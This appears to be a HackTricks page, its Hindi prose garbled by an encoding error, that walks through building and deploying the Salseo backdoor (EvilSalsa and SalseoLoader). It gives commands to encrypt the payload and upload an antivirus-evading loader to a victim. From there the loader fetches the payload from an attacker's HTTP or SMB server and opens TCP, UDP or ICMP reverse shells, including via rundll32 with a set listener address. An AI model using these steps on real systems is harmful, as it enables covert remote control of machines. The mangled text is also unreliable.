# Salseo
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## рдмрд╛рдЗрдирд░реА рд╕рдВрдХрд▓рди рдХрд░рдирд╛
рдЧрд┐рдЯрд╣рдм рд╕реЗ рд╕реНрд░реЛрдд рдХреЛрдб рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ **EvilSalsa** рдФрд░ **SalseoLoader** рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВред рдЖрдкрдХреЛ рдХреЛрдб рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **Visual Studio** рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред
рдЙрди рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХреЛ рдЙрд╕ рд╡рд┐рдВрдбреЛрдЬ рдмреЙрдХреНрд╕ рдХреА рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреЗ рд▓рд┐рдП рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ (рдпрджрд┐ рд╡рд┐рдВрдбреЛрдЬ x64 рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рддреЛ рдЙрдиреНрд╣реЗрдВ рдЙрд╕ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреЗ рд▓рд┐рдП рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ)ред
рдЖрдк **Visual Studio** рдореЗрдВ **рдмрд╛рдПрдБ "Build" рдЯреИрдм** рдореЗрдВ **"Platform Target"** рдХреЗ рдЕрдВрджрд░ **рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХрд╛ рдЪрдпрди** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
(\*\*рдпрджрд┐ рдЖрдк рдпреЗ рд╡рд┐рдХрд▓реНрдк рдирд╣реАрдВ рдкрд╛ рд░рд╣реЗ рд╣реИрдВ рддреЛ **"Project Tab"** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдлрд┐рд░ **"\ Properties"** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ)
![](<../.gitbook/assets/image (839).png>)
рдлрд┐рд░, рджреЛрдиреЛрдВ рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░реЗрдВ (Build -> Build Solution) (рд▓реЙрдЧ рдХреЗ рдЕрдВрджрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХрд╛ рдкрде рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛):
![](<../.gitbook/assets/image (381).png>)
## рдмреИрдХрдбреЛрд░ рддреИрдпрд╛рд░ рдХрд░реЗрдВ
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ **EvilSalsa.dll** рдХреЛ рдПрдиреНрдХреЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ **encrypterassembly.py** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЖрдк рдкрд░рд┐рдпреЛрдЬрдирд╛ **EncrypterAssembly** рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### рд╡рд┐рдВрдбреЛрдЬ
```
EncrypterAssembly.exe
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
рдареАрдХ рд╣реИ, рдЕрдм рдЖрдкрдХреЗ рдкрд╛рд╕ Salseo рдЪреАрдЬрд╝реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рднреА рдЪреАрдЬрд╝реЗрдВ рд╣реИрдВ: **encoded EvilDalsa.dll** рдФрд░ **SalseoLoader рдХрд╛ рдмрд╛рдЗрдирд░реАред**
**SalseoLoader.exe рдмрд╛рдЗрдирд░реА рдХреЛ рдорд╢реАрди рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред рдЙрдиреНрд╣реЗрдВ рдХрд┐рд╕реА рднреА AV рджреНрд╡рд╛рд░рд╛ рдирд╣реАрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП...**
## **рдмреИрдХрдбреЛрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ**
### **TCP рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб dll рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛)**
рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд▓рд┐рд╕реНрдирд░ рдХреЗ рд░реВрдк рдореЗрдВ nc рд╢реБрд░реВ рдХрд░реЗрдВ рдФрд░ рдПрдиреНрдХреЛрдбреЗрдб evilsalsa рдХреЛ рд╕рд░реНрд╡ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ HTTP рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВред
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
### **UDP рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб dll рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛)**
рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд▓рд┐рд╕реНрдирд░ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ nc рд╢реБрд░реВ рдХрд░реЗрдВ, рдФрд░ рдПрдиреНрдХреЛрдбреЗрдб evilsalsa (impacket-smbserver) рдХреЛ рд╕реЗрд╡рд╛ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ SMB рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВред
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
### **ICMP рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (рд╡рд┐рдХреНрдЯрд┐рдо рдХреЗ рдЕрдВрджрд░ рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб dll)**
**рдЗрд╕ рдмрд╛рд░ рдЖрдкрдХреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдореЗрдВ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЙрдкрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP рдЙрддреНрддрд░ рдмрдВрдж рдХрд░реЗрдВ:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:
```
python icmpsh_m.py "" ""
```
#### рдкреАрдбрд╝рд┐рдд рдХреЗ рдЕрдВрджрд░, рдЪрд▓реЛ salseo рдЪреАрдЬрд╝ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
## SalseoLoader рдХреЛ DLL рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛ рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдирд┐рд░реНрдпрд╛рдд рдХрд░ рд░рд╣рд╛ рд╣реИ
Visual Studio рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ SalseoLoader рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЦреЛрд▓реЗрдВред
### рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдкрд╣рд▓реЗ рдЬреЛрдбрд╝реЗрдВ: \[DllExport]
![](<../.gitbook/assets/image (409).png>)
### рдЗрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП DllExport рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
![](<../.gitbook/assets/image (881).png>)
#### **DllExport рдкреИрдХреЗрдЬ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ (Browse рдЯреИрдм рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП), рдФрд░ Install рджрдмрд╛рдПрдВ (рдФрд░ рдкреЙрдкрдЕрдк рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ)**
![](<../.gitbook/assets/image (100).png>)
рдЖрдкрдХреЗ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЗрдВ рдкреНрд░рдХрдЯ рд╣реБрдИ рд╣реИрдВ: **DllExport.bat** рдФрд░ **DllExport\_Configure.bat**
### **U**ninstall DllExport
**Uninstall** рджрдмрд╛рдПрдВ (рд╣рд╛рдБ, рдпрд╣ рдЕрдЬреАрдм рд╣реИ рд▓реЗрдХрд┐рди рдореБрдЭ рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░реЗрдВ, рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ)
![](<../.gitbook/assets/image (97).png>)
### **Visual Studio рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ рдФрд░ DllExport\_configure рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ**
рдмрд╕ **рдмрд╛рд╣рд░ рдирд┐рдХрд▓реЗрдВ** Visual Studio
рдлрд┐рд░, рдЕрдкрдиреЗ **SalseoLoader рдлрд╝реЛрд▓реНрдбрд░** рдкрд░ рдЬрд╛рдПрдВ рдФрд░ **DllExport\_Configure.bat** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ
**x64** рдЪреБрдиреЗрдВ (рдпрджрд┐ рдЖрдк рдЗрд╕реЗ x64 рдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдореЗрд░рд╛ рдорд╛рдорд▓рд╛ рдерд╛), **System.Runtime.InteropServices** рдЪреБрдиреЗрдВ ( **DllExport** рдХреЗ рд▓рд┐рдП **Namespace** рдХреЗ рдЕрдВрджрд░) рдФрд░ **Apply** рджрдмрд╛рдПрдВ
![](<../.gitbook/assets/image (882).png>)
### **Visual Studio рдХреЗ рд╕рд╛рде рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдлрд┐рд░ рд╕реЗ рдЦреЛрд▓реЗрдВ**
**\[DllExport]** рдЕрдм рддреНрд░реБрдЯрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП
![](<../.gitbook/assets/image (670).png>)
### рд╕рдорд╛рдзрд╛рди рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░реЗрдВ
**Output Type = Class Library** рдЪреБрдиреЗрдВ (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
![](<../.gitbook/assets/image (847).png>)
**x64** **рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо** рдЪреБрдиреЗрдВ (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
![](<../.gitbook/assets/image (285).png>)
**рд╕рдорд╛рдзрд╛рди** рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП: Build --> Build Solution (Output рдХрдВрд╕реЛрд▓ рдХреЗ рдЕрдВрджрд░ рдирдП DLL рдХрд╛ рдкрде рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛)
### рдЙрддреНрдкрдиреНрди Dll рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ
Dll рдХреЛ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ рдХреЙрдкреА рдФрд░ рдкреЗрд╕реНрдЯ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЗрд╕рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред
рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:
```
rundll32.exe SalseoLoader.dll,main
```
рдпрджрд┐ рдХреЛрдИ рддреНрд░реБрдЯрд┐ рдирд╣реАрдВ рдЖрддреА рд╣реИ, рддреЛ рд╢рд╛рдпрдж рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рдХрд╛рд░реНрдпрд╛рддреНрдордХ DLL рд╣реИ!!
## DLL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
**HTTP** **рд╕рд░реНрд╡рд░** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ рдФрд░ рдПрдХ **nc** **рд╢реНрд░реЛрддрд╛** рд╕реЗрдЯ рдХрд░реЗрдВ
### рдкреЙрд╡рд░рд╢реЗрд▓
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{% hint style="success" %}
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ**](https://github.com/sponsors/carlospolop) рджреЗрдЦреЗрдВ!
* **рд╣рдорд╛рд░реЗ** ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**telegram рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **рд╣рдорд╛рд░реЗ** **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред**
* **рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░** [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред
{% endhint %}